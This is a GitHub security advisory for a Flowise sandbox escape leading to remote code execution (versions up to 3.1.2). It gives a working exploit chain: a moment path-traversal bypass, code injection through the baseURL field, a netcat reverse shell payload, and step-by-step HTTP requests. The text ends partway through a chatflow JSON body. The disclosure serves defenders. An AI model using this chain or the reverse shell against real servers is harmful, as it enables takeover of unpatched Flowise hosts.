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Flowise Sandbox Escape to RCE

Critical
igor-magun-wd published GHSA-wg86-r78f-74mp Jul 29, 2026

Package

npm flowise (npm)

Affected versions

<= 3.1.2

Patched versions

3.1.3
npm flowise-components (npm)
<= 3.1.2
3.1.3

Description

=============================================================================
Security Advisory
elttam

Topic: Flowise JavaScript Sandbox Escape

Module: FlowiseAI/Flowise, FlowiseAI/nodevm
Disclosed: 11-Apr-2026
Credits: Luke Jahnke and Alex Brown
Affects: FlowiseAI/Flowise 3.1.1, FlowiseAI/nodevm 3.9.25

I. Background

Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding.

The platform also enables execution of custom JavaScript within a sandboxed environment via the Custom Function Agent Flow node or Custom Tool. By default, this sandbox is powered by patriksimek/vm2, a fork of the patriksimek/vm2 package.

II. Problem Description

NOTE: This vulnerability still impacts commit dddfb3c90eec900d747790a439bd362a764039cd (the latest commit on the main branch at the time of writing). The original report was incorrectly closed, due to a misunderstanding that the report was about the use of an outdated and vulnerable version of the patriksimek/vm2 sandbox. The sandbox escape that this report documents is an issue with Flowise, and patching the vm2 sandbox would not resolve it.

The patriksimek/vm2 sandbox executes JavaScript within the same Node.js process, which introduces significant security limitations and makes safely isolating untrusted code inherently difficult. Due to these concerns, the maintainers had deprecated the project and previously issued the following warning:

https://github.com/n8n-io/vm2

The library contains critical security issues and should not be used in production. Maintenance has been discontinued. Consider migrating to isolated-vm.

To demonstrate the risks associated with the use of the vm2 sandbox, a sandbox escape specific to Flowise was investigated. The code snippet below shows the allowed modules that could be used within custom JavaScript code on Flowise.

https://github.com/FlowiseAI/Flowise/blob/flowise%403.1.1/packages/components/src/utils.ts#L124

const defaultAllowExternalDependencies = ['axios', 'moment', 'node-fetch'] <1>

<1> Allows custom JavaScript code to use the axios, moment and node-fetch dependencies.

Notably, the moment dependency had a previously reported path traversal vulnerability (CVE-2022-24785) that could lead to RCE when user input is passed to the locale function. The patch for CVE-2022-24785 was implementing regex check to disallow / or \ characters within a locale name, as shown in the code snippet below.

Patch for CVE-2022-24785 in moment (moment/moment@4211bfc)

function isLocaleNameSane(name) {
    // Prevent names that look like filesystem paths, i.e contain '/' or '\'
    return name.match('^[^/\\\\]*$') != null; <1>
}

function loadLocale(name) {
    var oldLocale = null,
        aliasedRequire;
    // TODO: Find a better way to register and load all the locales in Node
    if (
        locales[name] === undefined &&
        typeof module !== 'undefined' &&
        module &&
        module.exports &&
        isLocaleNameSane(name) <1>
    ) {
        try {
            oldLocale = globalLocale._abbr;
            aliasedRequire = require;
            aliasedRequire('./locale/' + name); <2>
            getSetGlobalLocale(oldLocale);
        } catch (e) {
            // mark as not found to avoid repeating expensive file require call causing high CPU
            // when trying to find en-US, en_US, en-us for every format call
            locales[name] = null; // null means not found
        }
    }
    return locales[name];
}

<1> Performs a regex check to disallow / or \ characters within the provided locale name.

<2> The vulnerable sink that introduced CVE-2022-24785.

Flowise used moment version v2.29.3, which had the CVE-2022-24785 patch applied. However, the patch is ineffective in preventing directory traversal in a sandbox context. The validation function uses the match function from the provided object, so an object with a match function that always returns true would bypass the validation check, as shown in the following proof-of-concept script.

fake = new String("../../../../../../../../../../../../../../../etc/passwd");
fake.match = function(regexp){return true;}; <1>
require("moment").locale(fake);

<1> Bypasses the validation check for CVE-2022-24785.

In commit e765367fdc9761a7d9cf01a048cac15c78903b85 (e765367), the default sandbox was changed to the E2B sandbox, as shown in the code snippet below.

https://github.com/FlowiseAI/Flowise/blob/e765367fdc9761a7d9cf01a048cac15c78903b85/packages/components/src/utils.ts

export const executeJavaScriptCode = async (
    code: string,
    sandbox: ICommonObject,
    options: {
        timeout?: number
        useSandbox?: boolean
        libraries?: string[]
        streamOutput?: (output: string) => void
        nodeVMOptions?: ICommonObject
    } = {}
): Promise<any> => {
    const { timeout = 300000, useSandbox = true, streamOutput, libraries = [], nodeVMOptions = {} } = options <1>
    if (useSandbox && !process.env.E2B_APIKEY) { <1>
        throw new Error(
            'Sandboxed code execution requires E2B_APIKEY to be configured. ' +
                'Set E2B_APIKEY in your environment or contact your administrator.'
        )
    }
    let timeoutMs = timeout
    if (process.env.SANDBOX_TIMEOUT) {
        timeoutMs = parseInt(process.env.SANDBOX_TIMEOUT, 10)
    }
    ...

<1> The default was changed to use the E2B sandbox.

However, there are several components within the application that still use the insecure vm2 sandbox, as shown in the following grep output.

$ grep -r 'useSandbox: false'
packages/components/nodes/tools/AgentAsTool/AgentAsTool.ts:            useSandbox: false
packages/components/nodes/tools/ChatflowTool/ChatflowTool.ts:            useSandbox: false
packages/components/nodes/sequentialagents/ExecuteFlow/ExecuteFlow.ts:                    useSandbox: false

The above files also contain an injection vulnerability into the sandboxed code, due to an improper URL validation check validating the baseURL input. The following code snippets demonstrate the injection vulnerability within AgentAsTool.ts and the broken isValidURL validation function.

https://github.com/FlowiseAI/Flowise/blob/0c6924bb08a2156513b447d0e600651f29ea5aa8/packages/components/nodes/tools/AgentAsTool/AgentAsTool.ts

class AgentAsTool_Tools implements INode {
    ...
    async init(nodeData: INodeData, input: string, options: ICommonObject): Promise<any> {
        ...
        const baseURL = (nodeData.inputs?.baseURL as string) || (options.baseURL as string)

        // Validate agentflowid is a valid UUID
        if (!selectedAgentflowId || !isValidUUID(selectedAgentflowId)) {
            throw new Error('Invalid agentflow ID: must be a valid UUID')
        }

        // Validate baseURL is a valid URL
        if (!baseURL || !isValidURL(baseURL)) { <1>
            throw new Error('Invalid base URL: must be a valid URL')
        }
        ...
    }
}

class AgentflowTool extends StructuredTool {
    ...
    // @ts-ignore
    protected async _call(
        arg: z.infer<typeof this.schema>,
        _?: CallbackManagerForToolRun,
        flowConfig?: { sessionId?: string; chatId?: string; input?: string }
    ): Promise<string> {
        ...
        const code = `
const fetch = require('node-fetch');
const url = "${this.baseURL}/api/v1/prediction/${this.agentflowid}"; <2>

const body = $callBody;

const options = $callOptions;

try {
	const response = await fetch(url, options);
	const resp = await response.json();
	return resp.text;
} catch (error) {
	console.error(error);
	return '';
}
`
        ...
        let response = await executeJavaScriptCode(code, sandbox, {
            useSandbox: false <3>
        })

        if (typeof response === 'object') {
            response = JSON.stringify(response)
        }

        return response
    }
}

<1> Use of the broken isValidURL validation function, that is shown below.
<2> Injection via the baseURL setting into the sandboxed code.
<3> Uses the insecure vm2 sandbox.

https://github.com/FlowiseAI/Flowise/blob/aff06479aa9ec24847bd65ac786b46ac85ae7e03/packages/components/src/validator.ts

/**
 * Validates if a string is a valid URL
 * @param {string} url The string to validate
 * @returns {boolean} True if valid URL, false otherwise
 */
export const isValidURL = (url: string): boolean => {
    try {
        new URL(url) <1>
        return true
    } catch {
        return false
    }
}

<1> The JavaScript URL class does not validate characters in the URL hash fragment.

An attacker could inject arbitrary code by inserting #";\n{malicious_code};// at the end of the baseURL setting, where the following baseURL demonstrates injecting the payload for the sandbox escape shown above to execute the code in the file /tmp/evil.txt outside the vm2 sandbox.

"https://192.168.122.62:3000/#\";\nfake = new String(\"../../../../../../../../../../../../../../../../../tmp/evil.txt\");\nfake.match = function(regexp){return true;};\nrequire(\"moment\").locale(fake);//"

The following documents the procedure to remotely exploit the insecure vm2 sandbox to achieve RCE on Flowise using the AgentAsTool node.

Note: This procedure documents the method of exploitation on the Docker deployment. The exploitation methodology may be different on the cloud deployment.

  1. Log into a Flowise instance and note the organisation ID in the response from POST /api/v1/auth/login, as shown below.
HTTP/1.1 200 OK
Set-Cookie: token=<REDACTED>
Set-Cookie: refreshToken=<REDACTED>
Set-Cookie: connect.sid=<REDACTED>
Content-Type: application/json; charset=utf-8
Content-Length: 671
ETag: W/"29f-jwu/0ZfIvz6r3EF/4QqMbLOMeho"
Date: Sat, 11 Apr 2026 12:05:42 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{
    "activeOrganizationCustomerId": null,
    "activeOrganizationId": "dbac2c65-6d98-48c2-b515-0b6cfb32f7e7", <1>
    "activeOrganizationProductId": "",
    "activeOrganizationSubscriptionId": null,
    "activeWorkspace": "Default Workspace",
    "activeWorkspaceId": "4b7e2414-a652-413d-b45e-b9edb8e63c1d",
    "assignedWorkspaces": [
        {
            "id": "4b7e2414-a652-413d-b45e-b9edb8e63c1d",
            "name": "Default Workspace",
            "organizationId": "dbac2c65-6d98-48c2-b515-0b6cfb32f7e7", <1>
            "role": "owner"
        }
    ],
    "email": "admin@flowise.local",
    "features": {},
    "id": "f8acb68d-afa5-41bd-8485-e39457433b71",
    "isOrganizationAdmin": true,
    "isSSO": false,
    "name": "Admin",
    "permissions": [
        "organization",
        "workspace"
    ],
    "roleId": "3ff0de09-3993-125c-8798-7d14c45336df"
}

<1> The organisation ID that is required for a later step.

  1. Create a new document store and use the File Loader to upload a file containing JavaScript code that would be executed outside the vm2 sandbox. The following script is a reverse shell payload that connects to 172.17.0.1:1337 that had a filename of rce.js.
process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')
  1. Using a proxy tool such as Burp Suite or the browser's debug network tab, observe the response from the
    POST /api/v1/document-store/loader/process/{loader_id} endpoint and retrieve the storeId, as demonstrated in the response below.
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 996
ETag: W/"3e4-k50+oeECDZnZeXCwR6mnTrXtxm0"
Date: Sat, 11 Apr 2026 12:13:41 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{
    "characters": 94,
    "chunks": [
        {
            "chunkNo": 1,
            "docId": "72f80118-fede-4f20-9ec6-1577e64c9ceb",
            "id": "d6915ca3-4845-4f5b-a59c-3aa723aca8bd",
            "metadata": "{\"source\":\"blob\",\"blobType\":\"\"}",
            "pageContent": "process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')",
            "storeId": "dd6e5e1a-9c17-4a80-ad97-87302d9aa549" <1>
        }
    ],
    "count": 1,
    "currentPage": 1,
    "description": "",
    "docId": "72f80118-fede-4f20-9ec6-1577e64c9ceb",
    "file": {
        "files": [
            {
                "id": "68a0a833-09c4-4df6-8b3e-1071f8edd462",
                "mimePrefix": "application/x-javascript",
                "name": "rce.js",
                "size": 94,
                "status": "NEW",
                "uploaded": "2026-04-11T12:13:41.235Z"
            }
        ],
        "id": "72f80118-fede-4f20-9ec6-1577e64c9ceb",
        "loaderConfig": {
            "file": "FILE-STORAGE::[\"rce.js\"]",
            "legacyBuild": "",
            "metadata": "",
            "omitMetadataKeys": "",
            "pointerName": "",
            "textSplitter": "",
            "usage": "perPage"
        },
        "loaderId": "fileLoader",
        "loaderName": "RCE",
        "status": "SYNC",
        "totalChars": 94,
        "totalChunks": 1
    },
    "storeName": "RCE File Store",
    "workspaceId": "4b7e2414-a652-413d-b45e-b9edb8e63c1d"
}

<1> The store ID that is required for a later step.

  1. Navigate to the Agentflow tab and create a new empty Agent that would be attached to the AgentAsTool node.

  2. Navigate to the Chatflow tab and create a new Chatflow and save it. Then add an Agent as Tool node using the previously created Agentflow, a Buffer Memory Node, an Open AI Chat Model node and connect them to a Tool Agent node, then save the changes, as shown in the attached screenshot. Using a tool such as Burp Suite, intercept the request to the PUT /api/v1/chatflows/{chatflow_id} and modify the baseURL input to "https://192.168.122.62:3000/#\";\nfake = new String(\"../../../../../../../../../../../../../../../../..{home_folder}/.flowise/storage/{organisation_id}/docustore/{store_id}/{filename}\");\nfake.match = function(regexp){return true;};\nrequire(\"moment\").locale(fake);//", where the {home_folder} is /home/node if built locally using https://github.com/FlowiseAI/Flowise/blob/main/Dockerfile or /root if using a published Docker image from https://hub.docker.com/r/flowiseai/flowise. Replace the {organisation_id}, {store_id} and {filename} placeholders with the values from the previous steps. The following request demonstrates setting the sandbox escape payload to execute the uploaded payload that was located at /home/node/.flowise/storage/dbac2c65-6d98-48c2-b515-0b6cfb32f7e7/docustore/dd6e5e1a-9c17-4a80-ad97-87302d9aa549/rce.js.

sandbox-escape-tool-setup 
PUT /api/v1/chatflows/3145786c-a4c0-4989-8605-afff0c10b5be HTTP/1.1
Host: 192.168.122.62:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:149.0) Gecko/20100101 Firefox/149.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
x-request-from: internal
Content-Length: 17821
Origin: http://192.168.122.62:3000
Connection: keep-alive
Referer: http://192.168.122.62:3000/canvas/3145786c-a4c0-4989-8605-afff0c10b5be
Cookie: {cookies}

{"name":"RCE SANDBOX ESCAPE CHAT FLOW","flowData":"{\"nodes\":[{\"data\":{\"baseClasses\":[\"AgentAsTool\",\"Tool\"],\"category\":\"Tools\",\"credential\":\"\",\"description\":\"Use as a tool to execute another agentflow\",\"filePath\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/tools/AgentAsTool/AgentAsTool.js\",\"icon\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/tools/AgentAsTool/agentastool.svg\",\"id\":\"agentAsTool_0\",\"inputAnchors\":[],\"inputParams\":[{\"credentialNames\":[\"agentflowApi\"],\"display\":true,\"id\":\"agentAsTool_0-input-credential-credential\",\"label\":\"Connect Credential\",\"name\":\"credential\",\"optional\":true,\"type\":\"credential\"},{\"display\":true,\"id\":\"agentAsTool_0-input-selectedAgentflow-asyncOptions\",\"label\":\"Select Agent\",\"loadMethod\":\"listAgentflows\",\"name\":\"selectedAgentflow\",\"type\":\"asyncOptions\"},{\"display\":true,\"id\":\"agentAsTool_0-input-name-string\",\"label\":\"Tool Name\",\"name\":\"name\",\"type\":\"string\"},{\"description\":\"Description of what the tool does. This is for LLM to determine when to use this tool.\",\"display\":true,\"id\":\"agentAsTool_0-input-description-string\",\"label\":\"Tool Description\",\"name\":\"description\",\"placeholder\":\"State of the Union QA - useful for when you need to ask questions about the most recent state of the union address.\",\"rows\":3,\"type\":\"string\"},{\"display\":true,\"id\":\"agentAsTool_0-input-returnDirect-boolean\",\"label\":\"Return Direct\",\"name\":\"returnDirect\",\"optional\":true,\"type\":\"boolean\"},{\"acceptVariable\":true,\"additionalParams\":true,\"description\":\"Override the config passed to the Agentflow.\",\"display\":true,\"id\":\"agentAsTool_0-input-overrideConfig-json\",\"label\":\"Override Config\",\"name\":\"overrideConfig\",\"optional\":true,\"type\":\"json\"},{\"additionalParams\":true,\"description\":\"Base URL to Flowise. By default, it is the URL of the incoming request. Useful when you need to execute the Agentflow through an alternative route.\",\"display\":true,\"id\":\"agentAsTool_0-input-baseURL-string\",\"label\":\"Base URL\",\"name\":\"baseURL\",\"optional\":true,\"placeholder\":\"http://localhost:3000\",\"type\":\"string\"},{\"additionalParams\":true,\"default\":false,\"description\":\"Whether to continue the session with the Agentflow tool or start a new one with each interaction. Useful for Agentflows with memory if you want to avoid it.\",\"display\":true,\"id\":\"agentAsTool_0-input-startNewSession-boolean\",\"label\":\"Start new session per message\",\"name\":\"startNewSession\",\"optional\":true,\"type\":\"boolean\"},{\"additionalParams\":true,\"description\":\"Whether to use the question from the chat as input to the agentflow. If turned on, this will override the custom input.\",\"display\":true,\"id\":\"agentAsTool_0-input-useQuestionFromChat-boolean\",\"label\":\"Use Question from Chat\",\"name\":\"useQuestionFromChat\",\"optional\":true,\"type\":\"boolean\"},{\"additionalParams\":true,\"description\":\"Custom input to be passed to the agentflow. Leave empty to let LLM decides the input.\",\"display\":false,\"id\":\"agentAsTool_0-input-customInput-string\",\"label\":\"Custom Input\",\"name\":\"customInput\",\"optional\":true,\"show\":{\"useQuestionFromChat\":false},\"type\":\"string\"}],\"inputs\":{\"baseURL\":\"https://192.168.122.62:3000/#\\\";\\nfake = new String(\\\"../../../../../../../../../../../../../../../../../home/node/.flowise/storage/dbac2c65-6d98-48c2-b515-0b6cfb32f7e7/docustore/dd6e5e1a-9c17-4a80-ad97-87302d9aa549/rce.js\\\");\\nfake.match = function(regexp){return true;};\\nrequire(\\\"moment\\\").locale(fake);//\",\"customInput\":\"\",\"description\":\"Sandbox escape code will be injected using the baseURL input\",\"name\":\"sandbox-escape\",\"overrideConfig\":\"\",\"returnDirect\":\"\",\"selectedAgentflow\":\"31ad9e45-2f8c-4a52-8fac-53c37a5f0ce6\",\"startNewSession\":\"\",\"useQuestionFromChat\":\"\"},\"label\":\"Agent as Tool\",\"loadMethods\":{},\"name\":\"agentAsTool\",\"outputAnchors\":[{\"description\":\"Use as a tool to execute another agentflow\",\"id\":\"agentAsTool_0-output-agentAsTool-AgentAsTool|Tool\",\"label\":\"AgentAsTool\",\"name\":\"agentAsTool\",\"type\":\"AgentAsTool | Tool\"}],\"outputs\":{},\"selected\":false,\"type\":\"AgentAsTool\",\"version\":1},\"dragging\":false,\"height\":803,\"id\":\"agentAsTool_0\",\"position\":{\"x\":474.3499595861873,\"y\":188.396206969314},\"positionAbsolute\":{\"x\":474.3499595861873,\"y\":188.396206969314},\"selected\":true,\"type\":\"customNode\",\"width\":300},{\"data\":{\"baseClasses\":[\"BufferMemory\",\"BaseChatMemory\",\"BaseMemory\"],\"category\":\"Memory\",\"description\":\"Retrieve chat messages stored in database\",\"filePath\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/memory/BufferMemory/BufferMemory.js\",\"icon\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/memory/BufferMemory/memory.svg\",\"id\":\"bufferMemory_0\",\"inputAnchors\":[],\"inputParams\":[{\"additionalParams\":true,\"default\":\"\",\"description\":\"If not specified, a random id will be used. Learn <a target=\\\"_blank\\\" href=\\\"https://docs.flowiseai.com/memory#ui-and-embedded-chat\\\">more</a>\",\"display\":true,\"id\":\"bufferMemory_0-input-sessionId-string\",\"label\":\"Session Id\",\"name\":\"sessionId\",\"optional\":true,\"type\":\"string\"},{\"additionalParams\":true,\"default\":\"chat_history\",\"display\":true,\"id\":\"bufferMemory_0-input-memoryKey-string\",\"label\":\"Memory Key\",\"name\":\"memoryKey\",\"type\":\"string\"}],\"inputs\":{\"memoryKey\":\"chat_history\",\"sessionId\":\"\"},\"label\":\"Buffer Memory\",\"name\":\"bufferMemory\",\"outputAnchors\":[{\"description\":\"Retrieve chat messages stored in database\",\"id\":\"bufferMemory_0-output-bufferMemory-BufferMemory|BaseChatMemory|BaseMemory\",\"label\":\"BufferMemory\",\"name\":\"bufferMemory\",\"type\":\"BufferMemory | BaseChatMemory | BaseMemory\"}],\"outputs\":{},\"selected\":false,\"type\":\"BufferMemory\",\"version\":2},\"dragging\":false,\"height\":259,\"id\":\"bufferMemory_0\",\"position\":{\"x\":471.8374151939384,\"y\":1024.5965766366546},\"positionAbsolute\":{\"x\":471.8374151939384,\"y\":1024.5965766366546},\"selected\":false,\"type\":\"customNode\",\"width\":300},{\"data\":{\"baseClasses\":[\"ChatOpenAI\",\"BaseChatOpenAI\",\"BaseChatModel\",\"BaseLanguageModel\",\"Runnable\"],\"category\":\"Chat Models\",\"credential\":\"5eabcf42-5547-4cda-8f31-1d0b9d70d508\",\"description\":\"Wrapper around OpenAI large language models that use the Chat endpoint\",\"filePath\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/chatmodels/ChatOpenAI/ChatOpenAI.js\",\"icon\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/chatmodels/ChatOpenAI/openai.svg\",\"id\":\"chatOpenAI_0\",\"inputAnchors\":[{\"display\":true,\"id\":\"chatOpenAI_0-input-cache-BaseCache\",\"label\":\"Cache\",\"name\":\"cache\",\"optional\":true,\"type\":\"BaseCache\"}],\"inputParams\":[{\"credentialNames\":[\"openAIApi\"],\"display\":true,\"id\":\"chatOpenAI_0-input-credential-credential\",\"label\":\"Connect Credential\",\"name\":\"credential\",\"type\":\"credential\"},{\"default\":\"gpt-4o-mini\",\"display\":true,\"id\":\"chatOpenAI_0-input-modelName-asyncOptions\",\"label\":\"Model Name\",\"loadMethod\":\"listModels\",\"name\":\"modelName\",\"type\":\"asyncOptions\"},{\"default\":0.9,\"display\":true,\"id\":\"chatOpenAI_0-input-temperature-number\",\"label\":\"Temperature\",\"name\":\"temperature\",\"optional\":true,\"step\":0.1,\"type\":\"number\"},{\"additionalParams\":true,\"default\":true,\"display\":true,\"id\":\"chatOpenAI_0-input-streaming-boolean\",\"label\":\"Streaming\",\"name\":\"streaming\",\"optional\":true,\"type\":\"boolean\"},{\"default\":false,\"description\":\"Allow image input. Refer to the <a href=\\\"https://docs.flowiseai.com/using-flowise/uploads#image\\\" target=\\\"_blank\\\">docs</a> for more details.\",\"display\":true,\"id\":\"chatOpenAI_0-input-allowImageUploads-boolean\",\"label\":\"Allow Image Uploads\",\"name\":\"allowImageUploads\",\"optional\":true,\"type\":\"boolean\"},{\"additionalParams\":true,\"default\":false,\"description\":\"Whether the model supports reasoning. Only applicable for reasoning models (gpt-5 and o-series models only)\",\"display\":true,\"id\":\"chatOpenAI_0-input-reasoning-boolean\",\"label\":\"Reasoning\",\"name\":\"reasoning\",\"optional\":true,\"type\":\"boolean\"},{\"additionalParams\":true,\"description\":\"Constrains effort on reasoning. Only applicable for reasoning models (gpt-5 and o-series models only)\",\"display\":false,\"id\":\"chatOpenAI_0-input-reasoningEffort-options\",\"label\":\"Reasoning Effort\",\"name\":\"reasoningEffort\",\"options\":[{\"label\":\"Low\",\"name\":\"low\"},{\"label\":\"Medium\",\"name\":\"medium\"},{\"label\":\"High\",\"name\":\"high\"},{\"description\":\"X-High is supported for all models after gpt-5.1-codex-max\",\"label\":\"X-High\",\"name\":\"xhigh\"}],\"show\":{\"reasoning\":true},\"type\":\"options\"},{\"additionalParams\":true,\"description\":\"A summary of the reasoning performed by the model. This can be useful for debugging and understanding the model's reasoning process\",\"display\":false,\"id\":\"chatOpenAI_0-input-reasoningSummary-options\",\"label\":\"Reasoning Summary\",\"name\":\"reasoningSummary\",\"options\":[{\"label\":\"Auto\",\"name\":\"auto\"},{\"label\":\"Concise\",\"name\":\"concise\"},{\"label\":\"Detailed\",\"name\":\"detailed\"}],\"show\":{\"reasoning\":true},\"type\":\"options\"},{\"additionalParams\":true,\"display\":true,\"id\":\"chatOpenAI_0-input-maxTokens-number\",\"label\":\"Max Tokens\",\"name\":\"maxTokens\",\"optional\":true,\"step\":1,\"type\":\"number\"},{\"additionalParams\":true,\"display\":true,\"id\":\"chatOpenAI_0-input-topP-number\",\"label\":\"Top Probability\",\"name\":\"topP\",\"optional\":true,\"step\":0.1,\"type\":\"number\"},{\"additionalParams\":true,\"display\":true,\"id\":\"chatOpenAI_0-input-frequencyPenalty-number\",\"label\":\"Frequency Penalty\",\"name\":\"frequencyPenalty\",\"optional\":true,\"step\":0.1,\"type\":\"number\"},{\"additionalParams\":true,\"display\":true,\"id\":\"chatOpenAI_0-input-presencePenalty-number\",\"label\":\"Presence Penalty\",\"name\":\"presencePenalty\",\"optional\":true,\"step\":0.1,\"type\":\"number\"},{\"additionalParams\":true,\"display\":true,\"id\":\"chatOpenAI_0-input-timeout-number\",\"label\":\"Timeout\",\"name\":\"timeout\",\"optional\":true,\"step\":1,\"type\":\"number\"},{\"additionalParams\":true,\"description\":\"Whether the model supports the `strict` argument when passing in tools. If not specified, the `strict` argument will not be passed to OpenAI.\",\"display\":true,\"id\":\"chatOpenAI_0-input-strictToolCalling-boolean\",\"label\":\"Strict Tool Calling\",\"name\":\"strictToolCalling\",\"optional\":true,\"type\":\"boolean\"},{\"additionalParams\":true,\"description\":\"List of stop words to use when generating. Use comma to separate multiple stop words.\",\"display\":true,\"id\":\"chatOpenAI_0-input-stopSequence-string\",\"label\":\"Stop Sequence\",\"name\":\"stopSequence\",\"optional\":true,\"rows\":4,\"type\":\"string\"},{\"additionalParams\":true,\"description\":\"Override the default base URL for the API, e.g., \\\"https://api.example.com/v2/\",\"display\":true,\"id\":\"chatOpenAI_0-input-basepath-string\",\"label\":\"Base Path\",\"name\":\"basepath\",\"optional\":true,\"type\":\"string\"},{\"additionalParams\":true,\"description\":\"Default headers to include with every request to the API.\",\"display\":true,\"id\":\"chatOpenAI_0-input-baseOptions-json\",\"label\":\"Base Options\",\"name\":\"baseOptions\",\"optional\":true,\"type\":\"json\"}],\"inputs\":{\"allowImageUploads\":\"\",\"baseOptions\":\"\",\"basepath\":\"\",\"cache\":\"\",\"frequencyPenalty\":\"\",\"maxTokens\":\"\",\"modelName\":\"gpt-4o-mini\",\"presencePenalty\":\"\",\"reasoning\":\"\",\"reasoningEffort\":\"\",\"reasoningSummary\":\"\",\"stopSequence\":\"\",\"streaming\":true,\"strictToolCalling\":\"\",\"temperature\":0.9,\"timeout\":\"\",\"topP\":\"\"},\"label\":\"OpenAI\",\"loadMethods\":{},\"name\":\"chatOpenAI\",\"outputAnchors\":[{\"description\":\"Wrapper around OpenAI large language models that use the Chat endpoint\",\"id\":\"chatOpenAI_0-output-chatOpenAI-ChatOpenAI|BaseChatOpenAI|BaseChatModel|BaseLanguageModel|Runnable\",\"label\":\"ChatOpenAI\",\"name\":\"chatOpenAI\",\"type\":\"ChatOpenAI | BaseChatOpenAI | BaseChatModel | BaseLanguageModel | Runnable\"}],\"outputs\":{},\"selected\":false,\"type\":\"ChatOpenAI\",\"version\":8.3},\"dragging\":false,\"height\":676,\"id\":\"chatOpenAI_0\",\"position\":{\"x\":150.47864305480687,\"y\":603.5006568904221},\"positionAbsolute\":{\"x\":150.47864305480687,\"y\":603.5006568904221},\"selected\":false,\"type\":\"customNode\",\"width\":300},{\"data\":{\"baseClasses\":[\"AgentExecutor\",\"BaseChain\",\"Runnable\"],\"category\":\"Agents\",\"description\":\"Agent that uses Function Calling to pick the tools and args to call\",\"filePath\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/ToolAgent/ToolAgent.js\",\"icon\":\"/usr/src/flowise/packages/server/node_modules/flowise-components/dist/nodes/agents/ToolAgent/toolAgent.png\",\"id\":\"toolAgent_0\",\"inputAnchors\":[{\"display\":true,\"id\":\"toolAgent_0-input-tools-Tool\",\"label\":\"Tools\",\"list\":true,\"name\":\"tools\",\"type\":\"Tool\"},{\"display\":true,\"id\":\"toolAgent_0-input-memory-BaseChatMemory\",\"label\":\"Memory\",\"name\":\"memory\",\"type\":\"BaseChatMemory\"},{\"description\":\"Only compatible with models that are capable of function calling: ChatOpenAI, ChatMistral, ChatAnthropic, ChatGoogleGenerativeAI, ChatVertexAI, GroqChat\",\"display\":true,\"id\":\"toolAgent_0-input-model-BaseChatModel\",\"label\":\"Tool Calling Chat Model\",\"name\":\"model\",\"type\":\"BaseChatModel\"},{\"description\":\"Override existing prompt with Chat Prompt Template. Human Message must includes {input} variable\",\"display\":true,\"id\":\"toolAgent_0-input-chatPromptTemplate-ChatPromptTemplate\",\"label\":\"Chat Prompt Template\",\"name\":\"chatPromptTemplate\",\"optional\":true,\"type\":\"ChatPromptTemplate\"},{\"description\":\"Detect text that could generate harmful output and prevent it from being sent to the language model\",\"display\":true,\"id\":\"toolAgent_0-input-inputModeration-Moderation\",\"label\":\"Input Moderation\",\"list\":true,\"name\":\"inputModeration\",\"optional\":true,\"type\":\"Moderation\"}],\"inputParams\":[{\"additionalParams\":true,\"default\":\"You are a helpful AI assistant.\",\"description\":\"If Chat Prompt Template is provided, this will be ignored\",\"display\":true,\"id\":\"toolAgent_0-input-systemMessage-string\",\"label\":\"System Message\",\"name\":\"systemMessage\",\"optional\":true,\"rows\":4,\"type\":\"string\"},{\"additionalParams\":true,\"display\":true,\"id\":\"toolAgent_0-input-maxIterations-number\",\"label\":\"Max Iterations\",\"name\":\"maxIterations\",\"optional\":true,\"type\":\"number\"},{\"additionalParams\":true,\"default\":false,\"description\":\"Stream detailed intermediate steps during agent execution\",\"display\":true,\"id\":\"toolAgent_0-input-enableDetailedStreaming-boolean\",\"label\":\"Enable Detailed Streaming\",\"name\":\"enableDetailedStreaming\",\"optional\":true,\"type\":\"boolean\"}],\"inputs\":{\"chatPromptTemplate\":\"\",\"enableDetailedStreaming\":\"\",\"inputModeration\":\"\",\"maxIterations\":\"\",\"memory\":\"{{bufferMemory_0.data.instance}}\",\"model\":\"{{chatOpenAI_0.data.instance}}\",\"systemMessage\":\"You are a helpful AI assistant.\",\"tools\":[\"{{agentAsTool_0.data.instance}}\"]},\"label\":\"Tool Agent\",\"name\":\"toolAgent\",\"outputAnchors\":[{\"description\":\"Agent that uses Function Calling to pick the tools and args to call\",\"id\":\"toolAgent_0-output-toolAgent-AgentExecutor|BaseChain|Runnable\",\"label\":\"AgentExecutor\",\"name\":\"toolAgent\",\"type\":\"AgentExecutor | BaseChain | 